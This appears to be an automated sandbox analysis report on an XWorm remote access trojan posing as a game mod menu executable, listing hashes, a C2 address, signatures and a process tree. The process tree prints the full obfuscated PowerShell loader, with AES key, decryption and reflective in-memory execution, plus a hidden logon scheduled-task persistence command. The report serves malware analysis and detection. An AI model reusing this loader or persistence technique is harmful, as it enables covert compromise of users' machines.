xworm | 6d09d43c755d5081924748104ac487afadaf68add75d85feb2a256de032a5e2c

max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
14/05/2024, 11:22

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

kiddionsmodmenu.exe
Size

386KB
MD5

88e737816cc5f3e3809152c5f9dad5be
SHA1

56dedf42285c74795f714dbac7782a5d0e695a97
SHA256

6d09d43c755d5081924748104ac487afadaf68add75d85feb2a256de032a5e2c
SHA512

8d29b5606f91b953263738f03188a56a4c981a6213b53a830bd1e3975ff3d10274704df2dda957fa0b73cd8841947d6e850c6046338b8ebe9666ca895ce0eebd
SSDEEP

12288:hFPdfNMz0ECh63X3u+DnSmMk1B+8kxkpTD:hddFMz0EH3X39DnL3PHkxgn

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

94.156.8.167:2020

Mutex

8sPZSP21r8KwS1LM

Attributes

install_file
USB.exe

aes.plain

Signatures

Contains code to disable Windows Defender 1 IoCs

A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

resource	yara_rule
behavioral3/memory/4424-82-0x0000000007F70000-0x0000000007F7E000-memory.dmp	disable_win_def

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral3/memory/4424-78-0x0000000007A70000-0x0000000007A7E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 2 IoCs

flow	pid	Process
19	4424	powershell.exe
34	4424	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4948	powershell.exe
2384	powershell.exe
4424	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	kiddionsmodmenu.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1337824034-2731376981-3755436523-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
4948	powershell.exe
4948	powershell.exe
2384	powershell.exe
2384	powershell.exe
4424	powershell.exe
4424	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4948	powershell.exe
Token: SeDebugPrivilege	2384	powershell.exe
Token: SeIncreaseQuotaPrivilege	2384	powershell.exe
Token: SeSecurityPrivilege	2384	powershell.exe
Token: SeTakeOwnershipPrivilege	2384	powershell.exe
Token: SeLoadDriverPrivilege	2384	powershell.exe
Token: SeSystemProfilePrivilege	2384	powershell.exe
Token: SeSystemtimePrivilege	2384	powershell.exe
Token: SeProfSingleProcessPrivilege	2384	powershell.exe
Token: SeIncBasePriorityPrivilege	2384	powershell.exe
Token: SeCreatePagefilePrivilege	2384	powershell.exe
Token: SeBackupPrivilege	2384	powershell.exe
Token: SeRestorePrivilege	2384	powershell.exe
Token: SeShutdownPrivilege	2384	powershell.exe
Token: SeDebugPrivilege	2384	powershell.exe
Token: SeSystemEnvironmentPrivilege	2384	powershell.exe
Token: SeRemoteShutdownPrivilege	2384	powershell.exe
Token: SeUndockPrivilege	2384	powershell.exe
Token: SeManageVolumePrivilege	2384	powershell.exe
Token: 33	2384	powershell.exe
Token: 34	2384	powershell.exe
Token: 35	2384	powershell.exe
Token: 36	2384	powershell.exe
Token: SeIncreaseQuotaPrivilege	2384	powershell.exe
Token: SeSecurityPrivilege	2384	powershell.exe
Token: SeTakeOwnershipPrivilege	2384	powershell.exe
Token: SeLoadDriverPrivilege	2384	powershell.exe
Token: SeSystemProfilePrivilege	2384	powershell.exe
Token: SeSystemtimePrivilege	2384	powershell.exe
Token: SeProfSingleProcessPrivilege	2384	powershell.exe
Token: SeIncBasePriorityPrivilege	2384	powershell.exe
Token: SeCreatePagefilePrivilege	2384	powershell.exe
Token: SeBackupPrivilege	2384	powershell.exe
Token: SeRestorePrivilege	2384	powershell.exe
Token: SeShutdownPrivilege	2384	powershell.exe
Token: SeDebugPrivilege	2384	powershell.exe
Token: SeSystemEnvironmentPrivilege	2384	powershell.exe
Token: SeRemoteShutdownPrivilege	2384	powershell.exe
Token: SeUndockPrivilege	2384	powershell.exe
Token: SeManageVolumePrivilege	2384	powershell.exe
Token: 33	2384	powershell.exe
Token: 34	2384	powershell.exe
Token: 35	2384	powershell.exe
Token: 36	2384	powershell.exe
Token: SeIncreaseQuotaPrivilege	2384	powershell.exe
Token: SeSecurityPrivilege	2384	powershell.exe
Token: SeTakeOwnershipPrivilege	2384	powershell.exe
Token: SeLoadDriverPrivilege	2384	powershell.exe
Token: SeSystemProfilePrivilege	2384	powershell.exe
Token: SeSystemtimePrivilege	2384	powershell.exe
Token: SeProfSingleProcessPrivilege	2384	powershell.exe
Token: SeIncBasePriorityPrivilege	2384	powershell.exe
Token: SeCreatePagefilePrivilege	2384	powershell.exe
Token: SeBackupPrivilege	2384	powershell.exe
Token: SeRestorePrivilege	2384	powershell.exe
Token: SeShutdownPrivilege	2384	powershell.exe
Token: SeDebugPrivilege	2384	powershell.exe
Token: SeSystemEnvironmentPrivilege	2384	powershell.exe
Token: SeRemoteShutdownPrivilege	2384	powershell.exe
Token: SeUndockPrivilege	2384	powershell.exe
Token: SeManageVolumePrivilege	2384	powershell.exe
Token: 33	2384	powershell.exe
Token: 34	2384	powershell.exe
Token: 35	2384	powershell.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 2668 wrote to memory of 4584	2668	kiddionsmodmenu.exe	82
PID 2668 wrote to memory of 4584	2668	kiddionsmodmenu.exe	82
PID 2668 wrote to memory of 4584	2668	kiddionsmodmenu.exe	82
PID 4584 wrote to memory of 3068	4584	cmd.exe	87
PID 4584 wrote to memory of 3068	4584	cmd.exe	87
PID 4584 wrote to memory of 3068	4584	cmd.exe	87
PID 4584 wrote to memory of 4948	4584	cmd.exe	88
PID 4584 wrote to memory of 4948	4584	cmd.exe	88
PID 4584 wrote to memory of 4948	4584	cmd.exe	88
PID 4948 wrote to memory of 2384	4948	powershell.exe	90
PID 4948 wrote to memory of 2384	4948	powershell.exe	90
PID 4948 wrote to memory of 2384	4948	powershell.exe	90
PID 4948 wrote to memory of 1972	4948	powershell.exe	94
PID 4948 wrote to memory of 1972	4948	powershell.exe	94
PID 4948 wrote to memory of 1972	4948	powershell.exe	94
PID 1972 wrote to memory of 744	1972	WScript.exe	95
PID 1972 wrote to memory of 744	1972	WScript.exe	95
PID 1972 wrote to memory of 744	1972	WScript.exe	95
PID 744 wrote to memory of 440	744	cmd.exe	97
PID 744 wrote to memory of 440	744	cmd.exe	97
PID 744 wrote to memory of 440	744	cmd.exe	97
PID 744 wrote to memory of 4424	744	cmd.exe	98
PID 744 wrote to memory of 4424	744	cmd.exe	98
PID 744 wrote to memory of 4424	744	cmd.exe	98

C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe
"C:\Users\Admin\AppData\Local\Temp\kiddionsmodmenu.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2668
- C:\Windows\SysWOW64\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\7zS42A6.tmp\XClient_Dealed.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4584
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Local\Temp\7zS42A6.tmp\XClient_Dealed.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
    3⤵
    PID:3068
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Modifies registry class
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:4948
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_193_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_193.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2384
  - - C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_193.vbs"
      4⤵
      Checks computer location settings
      Suspicious use of WriteProcessMemory
      PID:1972
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_193.bat" "
        5⤵
        Suspicious use of WriteProcessMemory
        
        PID:744
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Roaming\Windows_Log_193.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        6⤵
        
        PID:440
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        6⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4424

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
9751fcb3d8dc82d33d50eebe53abe314

SHA1
7a680212700a5d9f3ca67c81e0e243834387c20c

SHA256
ad2e3139aa438f799c4a876ca3e64af772b8a5786149925a08389723e42394d7

SHA512
54907cc18684ff892b737496183ca60c788d8f5d76365586954f269dbd50ac1b9cd48c7c50bd6ca02009e6020fd77a8282c9a7ad6b824a20585c505bd7e13709

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
20KB

MD5
0045161e2b08ac9a795e9f1355c06117

SHA1
153b1422542f55e0ce25db0ab5f7d8f41b2cabb1

SHA256
0ca1b74e8ec544b704beece6652cf292ac72adab48ec4d8bacb219b474ed8ca6

SHA512
eeed35553d69280c74e574ab10f212aa0c3e26a541f577d8dd7d6a753c2a6b64d643ce131f266d1d66129e0f1d3d9e0dbc4024421efc246ce0c93f2cc550acaf

Download Submit
C:\Users\Admin\AppData\Local\Temp\7zS42A6.tmp\XClient_Dealed.bat

Filesize
152KB

MD5
0b426e8571f8d3e437b7a42e9b8fd808

SHA1
986edba4c39be9edb552284dac555e2e95f68a4a

SHA256
9c1a4e3a1c90d013a9465ab585ad7a9cfc378ebdbe77fc1548cb81c791e6914e

SHA512
e2efb8ba96b4c11b6167f085d5545e7e4971850e3c57f76957b8a0b0e1896537d935d123de93c1ebfd3efab34139e9bf902911ba54f20ddffad21edeeb16b021

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wyej2nua.bwc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Windows_Log_193.vbs

Filesize
115B

MD5
4b18f6a64c75dfae71572c192488b0b0

SHA1
ea53b3323bdd97f19df8814cd15a75da1b7d7c83

SHA256
bd1a5d59916a8c83f313e36a9e5d15be97b39c5c4c83d0c14373d12ccdf5c209

SHA512
9b566c4c377587bd43c78f97d68048eb00eccad395ab3615beb9b4c14a2e64e3c9406e5110fecdadad851b0e40e40d77a48665f02244d39cc31e174d9365f6cf

Download Submit
memory/2384-42-0x0000000007120000-0x0000000007152000-memory.dmp

Filesize
200KB

Download
memory/2384-54-0x0000000007160000-0x0000000007203000-memory.dmp

Filesize
652KB

Download
memory/2384-57-0x00000000074B0000-0x00000000074C1000-memory.dmp

Filesize
68KB

Download
memory/2384-56-0x0000000007540000-0x00000000075D6000-memory.dmp

Filesize
600KB

Download
memory/2384-55-0x0000000007310000-0x000000000731A000-memory.dmp

Filesize
40KB

Download
memory/2384-43-0x000000006F8F0000-0x000000006F93C000-memory.dmp

Filesize
304KB

Download
memory/2384-53-0x00000000070E0000-0x00000000070FE000-memory.dmp

Filesize
120KB

Download
memory/4424-83-0x0000000008000000-0x000000000800C000-memory.dmp

Filesize
48KB

Download
memory/4424-82-0x0000000007F70000-0x0000000007F7E000-memory.dmp

Filesize
56KB

Download
memory/4424-80-0x0000000008750000-0x00000000087E2000-memory.dmp

Filesize
584KB

Download
memory/4424-79-0x0000000007BA0000-0x0000000007C3C000-memory.dmp

Filesize
624KB

Download
memory/4424-78-0x0000000007A70000-0x0000000007A7E000-memory.dmp

Filesize
56KB

Download
memory/4948-31-0x0000000008700000-0x0000000008CA4000-memory.dmp

Filesize
5.6MB

Download
memory/4948-24-0x0000000006180000-0x00000000061CC000-memory.dmp

Filesize
304KB

Download
memory/4948-10-0x0000000005220000-0x0000000005242000-memory.dmp

Filesize
136KB

Download
memory/4948-7-0x0000000005560000-0x0000000005B88000-memory.dmp

Filesize
6.2MB

Download
memory/4948-29-0x0000000007590000-0x0000000007598000-memory.dmp

Filesize
32KB

Download
memory/4948-28-0x0000000007470000-0x000000000748A000-memory.dmp

Filesize
104KB

Download
memory/4948-27-0x0000000007AD0000-0x000000000814A000-memory.dmp

Filesize
6.5MB

Download
memory/4948-26-0x00000000071D0000-0x0000000007246000-memory.dmp

Filesize
472KB

Download
memory/4948-25-0x0000000006640000-0x0000000006684000-memory.dmp

Filesize
272KB

Download
memory/4948-30-0x00000000075B0000-0x00000000075CE000-memory.dmp

Filesize
120KB

Download
memory/4948-6-0x0000000002C00000-0x0000000002C36000-memory.dmp

Filesize
216KB

Download
memory/4948-9-0x0000000073060000-0x0000000073810000-memory.dmp

Filesize
7.7MB

Download
memory/4948-5-0x000000007306E000-0x000000007306F000-memory.dmp

Filesize
4KB

Download
memory/4948-77-0x0000000073060000-0x0000000073810000-memory.dmp

Filesize
7.7MB

Download
memory/4948-23-0x00000000060F0000-0x000000000610E000-memory.dmp

Filesize
120KB

Download
memory/4948-22-0x0000000005C00000-0x0000000005F54000-memory.dmp

Filesize
3.3MB

Download
memory/4948-8-0x0000000073060000-0x0000000073810000-memory.dmp

Filesize
7.7MB

Download
memory/4948-12-0x0000000005B90000-0x0000000005BF6000-memory.dmp

Filesize
408KB

Download
memory/4948-11-0x00000000054C0000-0x0000000005526000-memory.dmp

Filesize
408KB

Download